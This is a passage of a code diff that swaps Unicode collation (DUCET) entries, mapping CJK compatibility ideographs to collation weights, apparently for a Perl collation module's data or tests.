-FA6A      ; [.3A65.002E.0002.983B][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA6A
-FACC      ; [.3A65.002E.0002.983B][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACC
-F9D0      ; [.3A63.002E.0002.985E][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D0
-2FA02     ; [.3A5E.005B.0002.98E2][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA02
-FA2A      ; [.3A65.0039.0002.98EF][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2A
-FA2B      ; [.3A67.005A.0002.98FC][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2B
-FA2C      ; [.3A5E.0030.0002.9928][.3AE5.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2C
-F91A      ; [.3A63.0027.0002.99F1][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91A
-F987      ; [.3A63.0030.0002.9A6A][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F987
-FACD      ; [.3A6A.004C.0002.9B12][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACD
-2FA0A     ; [.3A6A.004C.0002.9B12][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA0A
-F939      ; [.3A63.002F.0002.9B6F][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F939
-F9F2      ; [.3A63.0028.0002.9C57][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F2
-FA2D      ; [.3A70.0025.0002.9DB4][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2D
-F93A      ; [.3A63.0030.0002.9DFA][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93A
-F920      ; [.3A63.0028.0002.9E1E][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F920
-F940      ; [.3A63.0026.0002.9E7F][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F940
-F988      ; [.3A63.0031.0002.9E97][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F988
-F9F3      ; [.3A63.0029.0002.9E9F][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F3
-2FA15     ; [.3A64.0028.0002.9EBB][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA15
-F989      ; [.3A63.0032.0002.9ECE][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F989
-2FA1C     ; [.3A65.004A.0002.9F3B][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA1C
-F9C4      ; [.3A63.0021.0002.9F8D][.3AE8.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C4
-FAD9      ; [.3A63.002E.0002.9F8E][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAD9
-F907      ; [.3A5E.0056.0002.9F9C][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F907
-F908      ; [.3A5E.0056.0002.9F9C][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F908
-FACE      ; [.3A5E.0056.0002.9F9C][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACE
+   entry => <<'ENTRY', # for DUCET v9.0.0
+F967      ; [.3BFC.0021.0002.4E0D][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F967
+FA70      ; [.3BFC.0032.0002.4E26][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA70
+F905      ; [.3BF5.0021.0002.4E32][.3C7B.0020.0002][.3CE6.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F905
+2F801     ; [.3C07.0021.0002.4E38][.3C7C.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F801
+F95E      ; [.3BF8.0021.0002.4E39][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95E
+F91B      ; [.3BFA.0021.0002.4E82][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91B
+F9BA      ; [.3BFA.0021.0002.4E86][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BA
+F977      ; [.3BFA.0021.0002.4EAE][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F977
+F9FD      ; [.3BFE.0021.0002.4EC0][.3C87.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FD
+F9A8      ; [.3BFA.0021.0002.4EE4][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A8
+F92D      ; [.3BFA.0021.0002.4F86][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92D
+F9B5      ; [.3BFA.0021.0002.4F8B][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B5
+FA30      ; [.3BFB.0021.0002.4FAE][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA30
+2F805     ; [.3BFB.0021.0002.4FAE][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F805
+2F806     ; [.3C05.0023.0002.4FBB][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F806
+F965      ; [.3C06.0021.0002.4FBF][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F965
+2F807     ; [.3BFC.0022.0002.5002][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F807
+F9D4      ; [.3BFA.0022.0002.502B][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D4
+2F809     ; [.3BFC.0022.0002.5099][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F809
+2F80B     ; [.3BFE.0023.0002.50CF][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80B
+F9BB      ; [.3BFA.0022.0002.50DA][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BB
+FA31      ; [.3BFE.0023.0002.50E7][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA31
+2F80A     ; [.3BFE.0023.0002.50E7][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80A
+FA0C      ; [.3C00.0021.0002.5140][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0C
+FA74      ; [.3C03.0021.0002.5145][.3C80.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA74
+FA32      ; [.3BFB.0021.0002.514D][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA32
+2F80E     ; [.3BFB.0021.0002.514D][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F80E
+2F814     ; [.3BF7.0022.0002.5167][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F814
+FA72      ; [.3C01.0024.0002.5168][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA72
+F978      ; [.3BFA.0023.0002.5169][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F978
+F9D1      ; [.3BFA.0021.0002.516D][.3C84.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D1
+2F811     ; [.3BF5.0026.0002.5177][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F811
+FA75      ; [.3BF5.0024.0002.5180][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA75
+2F815     ; [.3C01.0021.0002.518D][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F815
+2F8D2     ; [.3BFB.0022.0002.5192][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D2
+2F8D3     ; [.3BFB.0022.0002.5195][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D3
+2F817     ; [.3C00.0023.0002.5197][.3C7F.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F817
+2F818     ; [.3C00.003B.0002.51A4][.3C81.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F818
+2F81A     ; [.3BF8.0022.0002.51AC][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F81A
+F92E      ; [.3BFA.0021.0002.51B7][.3C74.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92E
+F979      ; [.3BFA.0024.0002.51C9][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F979
+F955      ; [.3BFA.0021.0002.51CC][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F955
+F954      ; [.3BFA.0021.0002.51DC][.3C85.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F954
+FA15      ; [.3C07.0022.0002.51DE][.3C86.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA15
+2F81E     ; [.3C00.0023.0002.5203][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F81E
+FA00      ; [.3C01.0021.0002.5207][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA00
+2F850     ; [.3C01.0021.0002.5207][.3C77.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F850
+F99C      ; [.3BFA.0022.0002.5217][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99C
+F9DD      ; [.3BFA.0022.0002.5229][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DD
+F9FF      ; [.3C01.0022.0002.523A][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FF
+2F820     ; [.3BF5.0021.0002.523B][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F820
+2F822     ; [.3C07.0021.0002.5272][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F822
+2F823     ; [.3BFE.002D.0002.5277][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F823
+F9C7      ; [.3BFA.0021.0002.5289][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C7
+F98A      ; [.3BFA.0021.0002.529B][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98A
+F99D      ; [.3BFA.0023.0002.52A3][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99D
+FA76      ; [.3C00.0024.0002.52C7][.3C7F.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA76
+2F825     ; [.3C00.0024.0002.52C7][.3C7F.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F825
+FA33      ; [.3BFB.0023.0002.52C9][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA33
+2F826     ; [.3BFB.0023.0002.52C9][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F826
+F952      ; [.3BFA.0021.0002.52D2][.3C85.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F952
+F92F      ; [.3BFA.0021.0002.52DE][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92F
+FA34      ; [.3BF5.0023.0002.52E4][.3C85.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA34
+2F827     ; [.3BF5.0023.0002.52E4][.3C85.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F827
+F97F      ; [.3BFA.0023.0002.52F5][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97F
+FA77      ; [.3C01.0022.0002.52FA][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA77
+2F828     ; [.3C01.0022.0002.52FA][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F828
+2F829     ; [.3C06.0022.0002.5305][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F829
+F963      ; [.3BFC.0021.0002.5317][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F963
+2F82B     ; [.3BFC.0021.0002.5317][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82B
+F9EB      ; [.3BF7.0021.0002.533F][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EB
+2F82C     ; [.3C07.0021.0002.5349][.3C82.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82C
+FA35      ; [.3BFC.0025.0002.5351][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA35
+2F82D     ; [.3BFC.0025.0002.5351][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82D
+2F82E     ; [.3BFC.0022.0002.535A][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82E
+2F82F     ; [.3C01.0022.0002.5373][.3C85.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F82F
+F91C      ; [.3BFA.0022.0002.5375][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91C
+2F830     ; [.3C01.0021.0002.537D][.3C85.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F830
+2F831     ; [.3BF5.0028.0002.537F][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F831
+2F832     ; [.3BF5.0028.0002.537F][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F832
+2F833     ; [.3BF5.0028.0002.537F][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F833
+F96B      ; [.3C03.0022.0002.53C3][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96B
+2F836     ; [.3BF5.0022.0002.53CA][.3C85.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F836
+2F837     ; [.3BFE.005E.0002.53DF][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F837
+F906      ; [.3BF5.002A.0002.53E5][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F906
+2F839     ; [.3BF5.0021.0002.53EB][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F839
+2F83A     ; [.3C01.0022.0002.53F1][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83A
+F9DE      ; [.3BFA.0024.0002.540F][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DE
+F9ED      ; [.3BFA.0021.0002.541D][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9ED
+2F83D     ; [.3C07.0021.0002.5438][.3C85.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83D
+F980      ; [.3BFA.0024.0002.5442][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F980
+2F83E     ; [.3C01.0026.0002.5448][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83E
+2F83F     ; [.3C01.0028.0002.5468][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F83F
+2F840     ; [.3C00.0031.0002.54A2][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F840
+F99E      ; [.3C00.0025.0002.54BD][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99E
+2F842     ; [.3BF8.0021.0002.5510][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F842
+2F843     ; [.3BF5.0022.0002.5553][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F843
+2F844     ; [.3C07.0024.0002.5563][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F844
+2F845     ; [.3BFE.0024.0002.5584][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F845
+2F846     ; [.3BFE.0024.0002.5584][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F846
+F90B      ; [.3BFA.0021.0002.5587][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90B
+FA7A      ; [.3C07.0022.0002.5599][.3C82.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7A
+2F847     ; [.3C07.0022.0002.5599][.3C82.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F847
+FA36      ; [.3BF5.0022.0002.559D][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA36
+FA78      ; [.3BF5.0022.0002.559D][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA78
+2F848     ; [.3BF6.0021.0002.55AB][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F848
+FA7B      ; [.3C00.0022.0002.55E2][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7B
+FA37      ; [.3C05.0022.0002.5606][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA37
+2F84C     ; [.3C05.0022.0002.5606][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84C
+FA38      ; [.3BF5.0026.0002.5668][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA38
+2F84F     ; [.3BFC.0023.0002.5674][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84F
+F9A9      ; [.3BFA.0023.0002.56F9][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A9
+2F84B     ; [.3BF8.0024.0002.5716][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F84B
+2F855     ; [.3C07.0024.0002.578B][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F855
+2F852     ; [.3BFE.0021.0002.57CE][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F852
+2F853     ; [.3BFE.0021.0002.57F4][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F853
+2F857     ; [.3BFC.0023.0002.5831][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F857
+FA39      ; [.3BFC.0033.0002.5840][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA39
+FA10      ; [.3C03.0022.0002.585A][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA10
+FA7C      ; [.3C03.0022.0002.585A][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7C
+F96C      ; [.3BFE.0021.0002.585E][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96C
+FA3A      ; [.3BFB.0021.0002.58A8][.3C80.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3A
+FA7D      ; [.3BFC.0024.0002.58B3][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7D
+F94A      ; [.3BFA.0021.0002.58D8][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94A
+F942      ; [.3BFA.0021.0002.58DF][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F942
+2F85C     ; [.3BFC.0032.0002.5906][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85C
+2F85D     ; [.3BF8.0021.0002.591A][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85D
+2F85E     ; [.3BFB.0021.0002.5922][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85E
+FA7E      ; [.3C00.0024.0002.5944][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7E
+F90C      ; [.3BF7.0023.0002.5948][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90C
+F909      ; [.3BF5.0024.0002.5951][.3C7A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F909
+FA7F      ; [.3BFC.0025.0002.5954][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA7F
+2F85F     ; [.3BFE.0030.0002.5962][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F85F
+F981      ; [.3BF7.0021.0002.5973][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F981
+2F862     ; [.3C07.0026.0002.59EC][.3C86.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F862
+2F863     ; [.3C00.002C.0002.5A1B][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F863
+2F864     ; [.3C05.0030.0002.5A27][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F864
+FA80      ; [.3BFC.0027.0002.5A62][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA80
+2F866     ; [.3BFC.002B.0002.5A66][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F866
+2F986     ; [.3C00.0025.0002.5AB5][.3C87.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F986
+2F869     ; [.3C00.0041.0002.5B08][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F869
+FA81      ; [.3C01.003C.0002.5B28][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA81
+2F86A     ; [.3BFA.0029.0002.5B3E][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86A
+2F86B     ; [.3BFA.0029.0002.5B3E][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86B
+FA04      ; [.3BF8.0021.0002.5B85][.3C74.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA04
+2F86D     ; [.3C00.0029.0002.5BC3][.3C81.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86D
+2F86E     ; [.3C03.003B.0002.5BD8][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86E
+F95F      ; [.3BF7.0021.0002.5BE7][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95F
+F9AA      ; [.3BF7.0021.0002.5BE7][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AA
+2F86F     ; [.3BF7.0021.0002.5BE7][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F86F
+F9BC      ; [.3BFA.0023.0002.5BEE][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BC
+F9BD      ; [.3BF7.0021.0002.5C3F][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BD
+2F877     ; [.3BF8.0028.0002.5C60][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F877
+F94B      ; [.3BFA.0023.0002.5C62][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94B
+FA3B      ; [.3C03.0021.0002.5C64][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3B
+F9DF      ; [.3BFA.0026.0002.5C65][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DF
+2F879     ; [.3BFE.002A.0002.5CC0][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F879
+F9D5      ; [.3BFA.0023.0002.5D19][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D5
+F921      ; [.3BFA.0021.0002.5D50][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F921
+F9AB      ; [.3BFA.0025.0002.5DBA][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AB
+2F881     ; [.3BFE.0021.0002.5DE1][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F881
+2F882     ; [.3BFE.0027.0002.5DE2][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F882
+2F884     ; [.3BFE.0022.0002.5DFD][.3C7B.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F884
+2F885     ; [.3BFE.0029.0002.5E28][.3C78.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F885
+2F886     ; [.3BFB.0025.0002.5E3D][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F886
+F98E      ; [.3BF7.0021.0002.5E74][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98E
+FA01      ; [.3BF8.002B.0002.5EA6][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA01
+2F88C     ; [.3BFC.0052.0002.5EB3][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88C
+2F88D     ; [.3BFE.0025.0002.5EB6][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88D
+F9A2      ; [.3BFA.0021.0002.5EC9][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A2
+F928      ; [.3BFA.0021.0002.5ECA][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F928
+2F88E     ; [.3BFA.0021.0002.5ECA][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F88E
+FA0B      ; [.3BF5.0021.0002.5ED3][.3C7C.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0B
+F982      ; [.3BFA.0025.0002.5EEC][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F982
+F943      ; [.3BFA.0022.0002.5F04][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F943
+2F894     ; [.3BF8.004B.0002.5F22][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F894
+2F895     ; [.3BF8.004B.0002.5F22][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F895
+2F899     ; [.3C07.0025.0002.5F62][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F899
+FA84      ; [.3C03.0025.0002.5F69][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA84
+2F89A     ; [.3C01.0027.0002.5F6B][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89A
+F9D8      ; [.3BFA.0021.0002.5F8B][.3C84.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D8
+F966      ; [.3BFC.0026.0002.5FA9][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F966
+FA85      ; [.3C00.0043.0002.5FAD][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA85
+2F89D     ; [.3C00.002A.0002.5FCD][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89D
+2F89E     ; [.3C01.0026.0002.5FD7][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F89E
+F9A3      ; [.3BF7.0021.0002.5FF5][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A3
+F960      ; [.3BF7.0024.0002.6012][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F960
